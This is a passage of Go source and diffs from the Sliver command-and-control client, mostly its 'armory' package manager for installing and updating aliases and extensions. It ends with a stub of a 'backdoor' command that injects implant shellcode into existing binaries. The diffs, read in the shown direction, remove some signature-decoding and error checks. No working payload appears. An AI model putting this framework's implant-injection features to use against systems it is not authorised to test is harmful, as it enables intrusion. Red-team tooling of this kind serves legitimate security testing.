rows = append(rows, table.Row{
"Help",
extCmd.Help,
})
rows = append(rows, table.Row{"", ""})
}
}
rows = append(rows, table.Row{"", ""})
return rows
}
func viewDetailedInformation(con *console.SliverClient, entity string) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Property",
"Value",
})
// See where this name exists in the armory and package indexes
armoryResult := armoryLookupByName(entity)
if armoryResult != nil {
tw.AppendRows(generateRowsForArmory(armoryResult))
con.Printf("Armory information for %s\n\n", entity)
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
// Get packages with this name
packageResult := packageCacheLookupByName(entity)
if len(packageResult) > 0 {
con.Printf("Packages named %s\n\n", entity)
for _, pkg := range packageResult {
tw.AppendRows(generateRowsForPackage(pkg))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
}
// Get extensions containing commands with this name
commandResult := packageCacheLookupByCmd(entity)
commandResultFiltered := make([]*pkgCacheEntry, 0)
for _, cmd := range commandResult {
if !cmd.Pkg.IsAlias {
commandResultFiltered = append(commandResultFiltered, cmd)
}
}
if len(commandResultFiltered) > 0 {
con.Printf("Packages containing commands named %s\n\n", entity)
for _, cmd := range commandResultFiltered {
tw.AppendRows(generateRowsForPackage(cmd))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
}
}
}
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(args) == 0 {
printArmories(con)
return
}
// If the user wants info on something specific, make sure the caches are up to date
refresh(parseArmoryHTTPConfig(cmd))
viewDetailedInformation(con, args[0])
}
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
wg := &sync.WaitGroup{}
// Only making one request, so we can limit ourselves to one concurrent request
requestChannel := make(chan struct{}, 1)
wg.Add(1)
requestChannel <- struct{}{}
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
wg.Wait()
result, ok := indexCache.Load(armoryInfo.PublicKey)
if !ok {
return fmt.Errorf("failed to retrieve armory index")
}
cacheResult := result.(indexCacheEntry)
return cacheResult.LastErr
}
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
configs := []*assets.ArmoryConfig{}
armoryNames := []string{}
// If the default armory is in the configuration, force it to be last
var defaultConfig *assets.ArmoryConfig
currentArmories.Range(func(key, value interface{}) bool {
armoryEntry := value.(assets.ArmoryConfig)
// Skip over the default armory for now
if armoryEntry.Name != assets.DefaultArmoryName {
configs = append(configs, &armoryEntry)
armoryNames = append(armoryNames, armoryEntry.Name)
} else {
defaultConfig = &armoryEntry
}
return true
})
if !armoriesInitialized {
/*
Armories are initialized on the first call to the armory command
If armories are added or removed before the first call, we want
to make sure we still load in the ones from the configuration
file.
*/
persistentConfigs := assets.GetArmoriesConfig()
for _, config := range persistentConfigs {
if !slices.Contains(armoryNames, config.Name) {
if config.Name == assets.DefaultArmoryName {
if defaultArmoryRemoved {
continue
} else if defaultConfig != nil {
// The user potentially changed something about the default config
configs = append(configs, defaultConfig)
currentArmories.Store(config.PublicKey, *defaultConfig)
continue
}
}
configs = append(configs, config)
currentArmories.Store(config.PublicKey, *config)
}
}
return configs
}
if !defaultArmoryRemoved {
if defaultConfig != nil {
configs = append(configs, defaultConfig)
} else {
configs = append(configs, assets.DefaultArmoryConfig)
}
}
assets.RefreshArmoryAuthorization(configs)
return configs
}
func armoryNameExists(name string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.Name == name {
return true
}
}
return false
}
func armoryKeyExists(pubKey string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.PublicKey == pubKey {
return true
}
}
return false
}
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Get necessary information
url, _ := cmd.Flags().GetString("url")
pubKey, _ := cmd.Flags().GetString("pubkey")
auth, _ := cmd.Flags().GetString("auth")
authCmd, _ := cmd.Flags().GetString("authcmd")
noSave, _ := cmd.Flags().GetBool("no-save")
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Make sure we do not already have an armory config with the supplied name
if armoryNameExists(name) {
con.PrintErrorf("armory %s already exists\n", name)
return
}
clientConfig := parseArmoryHTTPConfig(cmd)
armoryConfig := assets.ArmoryConfig{
PublicKey: pubKey,
RepoURL: url,
Authorization: auth,
AuthorizationCmd: authCmd,
Name: name,
Enabled: true,
}
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
err := verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not add armory: %s\n", err)
return
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !noSave {
configs := getCurrentArmoryConfiguration()
err = assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Armory configuration saved\n")
}
}
con.PrintSuccessf("Added armory %s\n", name)
}
// Get a list of package IDs for an armory by its public key
func getPackageIDsForArmory(armoryPublicKey string) []string {
packageIDs := []string{}
pkgCache.Range(func(key, value interface{}) bool {
pkgEntry := value.(pkgCacheEntry)
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
packageIDs = append(packageIDs, pkgEntry.ID)
}
return true
})
return packageIDs
}
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
armories := getCurrentArmoryConfiguration()
deleted := false
newConfiguration := []*assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name != name {
newConfiguration = append(newConfiguration, armory)
} else {
currentArmories.Delete(armory.PublicKey)
indexCache.Delete(armory.PublicKey)
/*
To delete from the package cache, we will have
to gather a list of package IDs for the
armory then delete them from the cache.
*/
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
deleted = true
}
}
if deleted {
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
if name == assets.DefaultArmoryName {
defaultArmoryRemoved = true
}
} else {
con.PrintErrorf("Armory %s is not a configured armory\n", name)
return
}
err := assets.SaveArmoriesConfig(newConfiguration)
if err != nil {
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Saved armory configuration\n")
}
}
func SaveArmories(con *console.SliverClient) {
configs := getCurrentArmoryConfiguration()
err := assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Successfully saved armory configuration\n")
}
}
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
armories := getCurrentArmoryConfiguration()
var armoryPublicKey string
armoryConfig := assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name == name {
armoryPublicKey = armory.PublicKey
break
}
}
if armoryPublicKey == "" {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
value, ok := currentArmories.Load(armoryPublicKey)
if !ok {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
armoryConfig = value.(assets.ArmoryConfig)
return armoryConfig, nil
}
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
} else {
con.PrintErrorf("an armory name is required")
return
}
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
armoryPublicKey := armoryConfig.PublicKey
armoryConfig.Enabled = enabled
currentArmories.Store(armoryPublicKey, armoryConfig)
if !enabled {
// Remove cached info for the armory if it is disabled
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
indexCache.Delete(armoryPublicKey)
}
// Force a refresh
clientConfig := parseArmoryHTTPConfig(cmd)
con.PrintInfof("Refreshing armory information...\n")
refresh(clientConfig)
SaveArmories(con)
con.PrintSuccessf("Done\n")
}
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Quick check to make sure we were provided with a name
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
}
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Get the record for the armory
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Save the old config so we can delete the existing config
// and revert if needed
previousConfig := assets.ArmoryConfig{
PublicKey: armoryConfig.PublicKey,
RepoURL: armoryConfig.RepoURL,
Authorization: armoryConfig.Authorization,
AuthorizationCmd: armoryConfig.AuthorizationCmd,
Name: armoryConfig.Name,
Enabled: armoryConfig.Enabled,
}
if cmd.Flags().Changed("name") {
newName, _ := cmd.Flags().GetString("name")
// Make sure the name does not already exist
if armoryNameExists(newName) {
con.PrintErrorf("armory with name %s already exists\n", name)
return
}
armoryConfig.Name = newName
}
if cmd.Flags().Changed("pubkey") {
newPubKey, _ := cmd.Flags().GetString("pubkey")
/*
Since public keys are used as the key for the index cache,
make sure we have not been given a key that already exists
*/
if armoryKeyExists(newPubKey) {
con.PrintErrorf("armory provided public key already exists\n")
return
}
armoryConfig.PublicKey = newPubKey
}
if cmd.Flags().Changed("url") {
newUrl, _ := cmd.Flags().GetString("url")
armoryConfig.RepoURL = newUrl
}
if cmd.Flags().Changed("auth") {
newAuth, _ := cmd.Flags().GetString("auth")
armoryConfig.Authorization = newAuth
}
if cmd.Flags().Changed("authcmd") {
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
armoryConfig.AuthorizationCmd = newAuthCmd
}
// We will remove the old armory and add a new one with the changed properties to force a refresh
currentArmories.Delete(previousConfig.PublicKey)
indexCache.Delete(previousConfig.PublicKey)
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
clientConfig := parseArmoryHTTPConfig(cmd)
err = verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not modify armory: %s\n", err)
confirm := false
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
if !confirm {
return
} else {
err = verifyArmory(&previousConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
return
}
armoryConfig = previousConfig
con.PrintSuccessf("Re-added armory with previous values")
}
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !cmd.Flags().Changed("no-save") {
SaveArmories(con)
}
// Force a refresh
con.PrintInfof("Refreshing armory information...\n")
refresh(clientConfig)
con.PrintSuccessf("Done\n")
}
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
clientConfig := parseArmoryHTTPConfig(cmd)
// Since this being called from the refresh command, force the refresh
clientConfig.IgnoreCache = true
clearAllCaches()
armoriesInitialized = false
con.PrintInfof("Refreshing armory information...")
refresh(clientConfig)
con.PrintSuccessf("Refreshed armory information\n")
}
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
err := os.Remove(armoryConfigPath)
if err != nil {
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
return
}
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
// Force a refresh
RefreshArmories(cmd, con)
con.PrintSuccessf("Successfully reset armory configuration\n")
}
+5 -82
View File
@@ -19,8 +19,6 @@ package armory
*/ */
import ( import (
"bytes"
"crypto/sha256"
"crypto/tls" "crypto/tls"
"encoding/base64" "encoding/base64"
"encoding/json" "encoding/json"
@@ -69,18 +67,6 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
} }
func calculatePackageHash(pkg *ArmoryPackage) string {
if pkg == nil {
return ""
}
hasher := sha256.New()
// Hash some of the things that make the package unique
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
hasher.Write(packageIdentifier)
return fmt.Sprintf("%x", hasher.Sum(nil))
}
// //
// Default Parsers for Self-Hosted Armories // Default Parsers for Self-Hosted Armories
// //
@@ -93,10 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
return nil, err return nil, err
} }
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{}) resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK { if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code") return nil, errors.New("api returned non-200 status code")
} }
@@ -128,45 +111,9 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if err != nil { if err != nil {
return nil, err return nil, err
} }
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil return armoryIndex, nil
} }
func decodePackageSignature(sigString string) ([]byte, error) {
// Base64 decode the signature
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
if err != nil {
return nil, err
}
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
decodedData = bytes.Trim(decodedData, "\x00")
return decodedData, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey var publicKey minisign.PublicKey
@@ -175,29 +122,25 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
return nil, nil, err return nil, nil, err
} }
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{}) resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
if resp.StatusCode != http.StatusOK { if resp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode) return nil, nil, errors.New("api returned non-200 status code")
} }
pkgResp := &armoryPkgResponse{} pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp) err = json.Unmarshal(body, pkgResp)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
decodedSig, err := decodePackageSignature(pkgResp.Minisig) sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig(decodedSig)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
var tarGz []byte var tarGz []byte
if !sigOnly { if !sigOnly {
tarGzURL, err := url.Parse(pkgResp.TarGzURL) tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
@@ -299,20 +242,6 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
if err != nil { if err != nil {
return nil, err return nil, err
} }
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil return armoryIndex, nil
} }
@@ -507,12 +436,6 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
"Accept": {"application/octet-stream"}, "Accept": {"application/octet-stream"},
} }
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr) resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
if err != nil {
return nil, err
}
if resp == nil {
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
}
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound { if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode) return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
} }
+2 -2
View File
@@ -29,7 +29,7 @@ import (
) )
// ArmorySearchCmd - Search for packages by name // ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ") con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig) refresh(clientConfig)
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
return return
} }
aliases, exts := packageManifestsInCache() aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{} matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases { for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) { if nameExpr.MatchString(a.CommandName) {
+34 -255
View File
@@ -19,129 +19,56 @@ package armory
*/ */
import ( import (
"errors"
"fmt"
"os" "os"
"sort" "strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
) )
type VersionInformation struct {
OldVersion string
NewVersion string
ArmoryName string
}
type PackageType uint
const (
AliasPackage PackageType = iota
ExtensionPackage
)
type UpdateIdentifier struct {
Type PackageType
Name string
}
// ArmoryUpdateCmd - Update all installed extensions/aliases // ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var selectedUpdates []UpdateIdentifier
var err error
con.PrintInfof("Refreshing package cache ... ") con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig) refresh(clientConfig)
con.Printf(console.Clearln + "\r") con.Printf(console.Clearln + "\r")
armoryName, err := cmd.Flags().GetString("armory") // Aliases
if err != nil { aliasUpdates := checkForAliasUpdates(clientConfig, con)
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err) if 0 < len(aliasUpdates) {
return con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
} for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
// Find PK for the armory name if err != nil {
armoryPK := getArmoryPublicKey(armoryName) con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
// Check packages for updates
aliasUpdates := checkForAliasUpdates(armoryPK)
extUpdates := checkForExtensionUpdates(armoryPK)
// Display a table of results
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
selectedUpdates, err = getUpdatesFromUser(updateKeys)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
} }
con.PrintErrorf("%s\n", err.Error())
return
}
if len(selectedUpdates) == 0 {
return
} }
} else { } else {
con.PrintSuccessf("All packages are up to date\n") con.PrintInfof("All aliases up to date!\n")
return
} }
for _, update := range selectedUpdates { // Extensions
switch update.Type { extUpdates := checkForExtensionUpdates(clientConfig, con)
case AliasPackage: if 0 < len(extUpdates) {
aliasVersionInfo, ok := aliasUpdates[update.Name] con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
if !ok { for _, extName := range extUpdates {
continue err := installExtensionPackageByName(extName, clientConfig, con)
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
if err != nil { if err != nil {
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err) con.PrintErrorf("Failed to update %s: %s\n", extName, err)
// Keep going because other packages might not encounter errors
continue
} }
err = installAliasPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
case ExtensionPackage:
extVersionInfo, ok := extUpdates[update.Name]
if !ok {
continue
}
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
if err != nil {
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
continue
}
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
}
default:
continue
} }
} else {
con.PrintInfof("All extensions up to date!\n")
} }
} }
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation { func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packageManifestsInCache() cachedAliases, _ := packagesInCache()
results := make(map[string]VersionInformation) results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() { for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := os.ReadFile(aliasManifestPath) data, err := os.ReadFile(aliasManifestPath)
if err != nil { if err != nil {
@@ -152,31 +79,19 @@ func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
continue continue
} }
for _, latestAlias := range cachedAliases { for _, latestAlias := range cachedAliases {
/* // Right now we don't try to enforce any kind of versioning, it is assumed if the version from
We used to check if the version identifiers were different between the installed version and the // the armory differs at all from the local version, the extension is out of date.
version in the armory. This worked when we had one armory, but with multiple potential armories, if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
we have to have some type of versioning. We do not have an official versioning scheme for packages, results = append(results, localManifest.CommandName)
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.CommandName] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestAlias.Version,
ArmoryName: latestAlias.ArmoryName,
}
}
} }
} }
} }
return results return results
} }
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation { func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packageManifestsInCache() _, cachedExtensions := packagesInCache()
// Return a map of extension name to minimum version to install results := []string{}
results := make(map[string]VersionInformation)
for _, extManifestPath := range assets.GetInstalledExtensionManifests() { for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := os.ReadFile(extManifestPath) data, err := os.ReadFile(extManifestPath)
if err != nil { if err != nil {
@@ -187,149 +102,13 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
continue continue
} }
for _, latestExt := range cachedExtensions { for _, latestExt := range cachedExtensions {
/* // Right now we don't try to enforce any kind of versioning, it is assumed if the version from
We used to check if the version identifiers were different between the installed version and the // the armory differs at all from the local version, the extension is out of date.
version in the armory. This worked when we had one armory, but with multiple potential armories, if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
we have to have some type of versioning. We do not have an official versioning scheme for packages, results = append(results, localManifest.Name)
so we will rely on the author of the package incrementing the version identifier somehow to determine
if a package is newer.
*/
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
results[localManifest.Name] = VersionInformation{
OldVersion: localManifest.Version,
NewVersion: latestExt.Version,
ArmoryName: latestExt.ArmoryName,
}
}
} }
} }
} }
return results return results
} }
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
/*
This function helps us keep updates straight when the user chooses from them. Just in case
an alias and an extension exist with the same name, we cannot simply combine the two maps.
We will assume that no two aliases and no two extensions have the same name.
*/
result := []UpdateIdentifier{}
aliasNames := util.Keys(aliasUpdates)
extensionNames := util.Keys(extensionUpdates)
for _, name := range aliasNames {
result = append(result, UpdateIdentifier{
Type: AliasPackage,
Name: name,
})
}
for _, name := range extensionNames {
result = append(result, UpdateIdentifier{
Type: ExtensionPackage,
Name: name,
})
}
sort.Slice(result, func(i, j int) bool {
return result[i].Name < result[j].Name
})
return result
}
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
var (
aliasSuffix string
extensionSuffix string
title string = "Available Updates (%d alias%s, %d extension%s)"
)
tw := table.NewWriter()
tw.SetAutoIndex(true)
tw.SetStyle(settings.GetTableStyle(con))
if len(aliasUpdates) != 1 {
aliasSuffix = "es"
}
if len(extensionUpdates) != 1 {
extensionSuffix = "s"
}
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
tw.AppendHeader(table.Row{
"Package Name",
"Package Type",
"Installed Version",
"Available Version",
})
for _, key := range updateKeys {
var (
packageName string
packageType string
packageVersion VersionInformation
ok bool
)
switch key.Type {
case AliasPackage:
packageVersion, ok = aliasUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Alias"
case ExtensionPackage:
packageVersion, ok = extensionUpdates[key.Name]
if !ok {
continue
}
packageName = key.Name
packageType = "Extension"
default:
continue
}
tw.AppendRow(table.Row{
packageName,
packageType,
packageVersion.OldVersion,
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
})
}
con.Printf("%s\n\n", tw.Render())
}
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
for _, key := range updateKeys {
packageType := "Alias"
if key.Type == ExtensionPackage {
packageType = "Extension"
}
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
options = append(options, forms.ArmoryUpdateOption{
ID: optionID,
Label: optionLabel,
})
optionIndex[optionID] = key
}
result, err := forms.ArmoryUpdateForm(options)
if err != nil {
return nil, err
}
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
for _, selectedID := range result.SelectedIDs {
if update, ok := optionIndex[selectedID]; ok {
chosenUpdates = append(chosenUpdates, update)
}
}
return chosenUpdates, nil
}
+3 -9
View File
@@ -1,10 +1,4 @@
# client/command/backdoor Backdoor
========
## Overview Implements command related to `backdoor`
Implements the 'backdoor' command group for the Sliver client console.
## Go Files
- `backdoor.go` – Implements the RPC workflow that backdoors a remote binary with Sliver shellcode for the active session.
- `commands.go` – Registers the Cobra command, binds flags/completions, and restricts usage to applicable targets.
+4 -3
View File
@@ -21,13 +21,14 @@ package backdoor
import ( import (
"fmt" "fmt"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
) )
// BackdoorCmd - Command to inject implant code into an existing binary. // BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
